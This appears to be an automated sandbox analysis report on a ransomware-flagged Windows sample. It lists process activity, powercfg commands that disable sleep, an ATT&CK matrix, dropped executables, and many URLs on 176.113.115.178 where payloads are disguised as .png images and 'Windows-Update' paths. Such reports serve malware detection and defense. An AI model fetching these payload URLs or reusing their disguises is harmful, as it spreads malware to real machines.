Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 49_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

49_2_0000000140001B54

Source: C:\Windows\System32\conhost.exe

Code function: 16_2_000001DCB14E7960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

16_2_000001DCB14E7960

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	1 Windows Management Instrumentation	211 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Email Collection	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	Security Account Manager	136 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	12 Command and Scripting Interpreter	Login Hook	1 Windows Service	2 Software Packing	NTDS	551 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	Network Logon Script	712 Process Injection	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	161 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	161 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	712 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Hidden Files and Directories	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	66%	ReversingLabs	Win32.Exploit.Generic
file.exe	100%	Avira	HEUR/AGEN.1310987
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\LB31.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Roaming\LB31.exe	63%	ReversingLabs	Win32.Ransomware.Generic

Source	Detection	Scanner	Label
http://176.113.115.178/Windows-UpdateG	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatenr=	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/3.pngX	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/2.png6	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/tz	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateH	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/1.png	100%	Avira URL Cloud	malware
http://176.113.115	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/3.png	100%	Avira URL Cloud	malware
http://176.113.115.178/Windows-Update/8	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/eLMEMP	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/6	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update&	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/0	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/2.png%http://176.113.115.178/FF/3.png%$	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateQ	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/...&	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update0	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/M.png	100%	Avira URL Cloud	malware
http://176.113.115.178/FF/2.png	100%	Avira URL Cloud	malware
http://176.113.115.178/Windows-Update-	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/1.pngX	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/...	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateWinsta0	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/C:	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/ft	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateLMEM	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/D	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update$E	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/F	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/n	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatei%%%%%n%%%g(	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/2.pngX	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/l	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-UpdateU	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/1.png$TC=$TC.replace(	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updateai	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updated.exj	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatemshta	0%	Avira URL Cloud	safe
http://176.113.1150	0%	Avira URL Cloud	safe
http://176.113.115.178/FF/CMD.png	100%	Avira URL Cloud	malware
http://176.113.115.178	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update/a	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Updatee	0%	Avira URL Cloud	safe
http://176.113.115.178/Windows-Update	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ax-0001.ax-msedge.net	150.171.27.10	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://176.113.115.178/FF/1.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/FF/3.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/FF/M.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/Windows-Update/	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/2.png	true	Avira URL Cloud: malware	unknown
http://176.113.115.178/Windows-Update	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://176.113.115.178/Windows-Update/tz	mshta.exe, 0000000C.00000002.2308438812.000002A6CAAF6000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updatenr=	wscript.exe, 00000009.00000003.2252773588.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252932375.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252120336.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256210413.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/2.png6	wscript.exe, 00000004.00000002.2192682749.000001D04750E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.micom/pkiops/Docs/ry.htm0	powershell.exe, 00000011.00000002.2467005592.000001D145920000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115	wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.microsoft.co	powershell.exe, 00000011.00000002.2467005592.000001D14593D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateH	wscript.exe, 00000009.00000003.2254364531.0000022C1EFE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256404541.0000022C1EFE9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2309103882.000002A6CAD40000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateG	mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/3.pngX	powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows	wscript.exe, wscript.exe, 00000009.00000003.2254332186.0000022C20CA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254285588.0000022C20C91000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-UpdateQ	mshta.exe, 0000000C.00000002.2310783171.000002AED14F0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/8	mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/http://176.113.115.178/Windows-Update/0	mshta.exe, 0000000C.00000003.2298065296.000002AECCF85000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296225919.000002AECCF83000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2240161447.0000015F81A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF642AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72943000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.0000026810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.00000268101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/6	mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/2.png%http://176.113.115.178/FF/3.png%$	wscript.exe, 00000004.00000003.2188071581.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2187242940.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000002.2194375546.000001D049241000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000004.00000003.2189720210.000001D049241000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/eLMEMP	mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2296588844.000002AECD0F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2310604898.000002AECD0F8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update&	wscript.exe, 00000009.00000002.2255820509.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2253868783.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254057119.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/...&	mshta.exe, 0000000C.00000003.2298038675.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307546344.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308819002.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2240161447.0000015F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF628D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2349548172.000001D12D181000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update0	wscript.exe, 00000009.00000002.2255820509.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2253868783.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2254057119.0000022C1EE8A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/ff/3.png	powershell.exe, 00000007.00000002.2296607052.000001CF7AF40000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://176.113.115.178/Windows-Update-	mshta.exe, 0000000C.00000003.2294382542.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308571523.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287051707.000002A6CAB0D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/	powershell.exe, 00000007.00000002.2232422986.000001CF6414E000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/1.pngX	powershell.exe, 0000000F.00000002.2689152499.0000026800C31000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/ft	mshta.exe, 0000000C.00000003.2286360520.000002A6CAB11000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB14000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2240161447.0000015F81A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF642AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2276197727.000001CF72943000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.0000026810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026801A70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2859313115.00000268101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateLMEM	wscript.exe, 00000009.00000003.2252773588.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252932375.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.2252120336.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.2256210413.0000022C1EEDD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.2240161447.0000015F80C31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2232422986.000001CF63B21000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2689152499.0000026800C31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000011.00000002.2446464811.000001D13D1F4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000E.00000003.2287325300.000002B01D800000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000E.00000002.2763422288.000002B01D686000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-UpdateWinsta0	mshta.exe, 0000000C.00000002.2308438812.000002A6CAAD0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/...	mshta.exe, 0000000C.00000003.2298038675.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307546344.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308819002.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/C:	mshta.exe, 0000000C.00000002.2308601542.000002A6CAB66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2307499590.000002A6CAB63000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000011.00000002.2349548172.000001D12D3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update/D	mshta.exe, 0000000C.00000003.2289380947.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2287264466.000002AECD0F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290150546.000002AECD0F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Update/F	mshta.exe, 0000000C.00000002.2308865314.000002A6CABA9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2290227750.000002A6CABA8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.protware.com	mshta.exe, 0000000C.00000003.2286360520.000002A6CAB9F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://176.113.115.178/Windows-Update$E	mshta.exe, 0000000C.00000003.2286360520.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.2308601542.000002A6CAB46000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/Windows-Updatei%%%%%n%%%g(	wscript.exe, 00000009.00000002.2255456357.0000022C1EE10000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://176.113.115.178/FF/2.pngX	powershell.exe, 00000005.00000002.2240161447.0000015F80C31000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	svchost.exe, 0000000E.00000003.2287325300.000002B01D85E000.00000004.00000800.00020000.00000000.sdmp	false		high
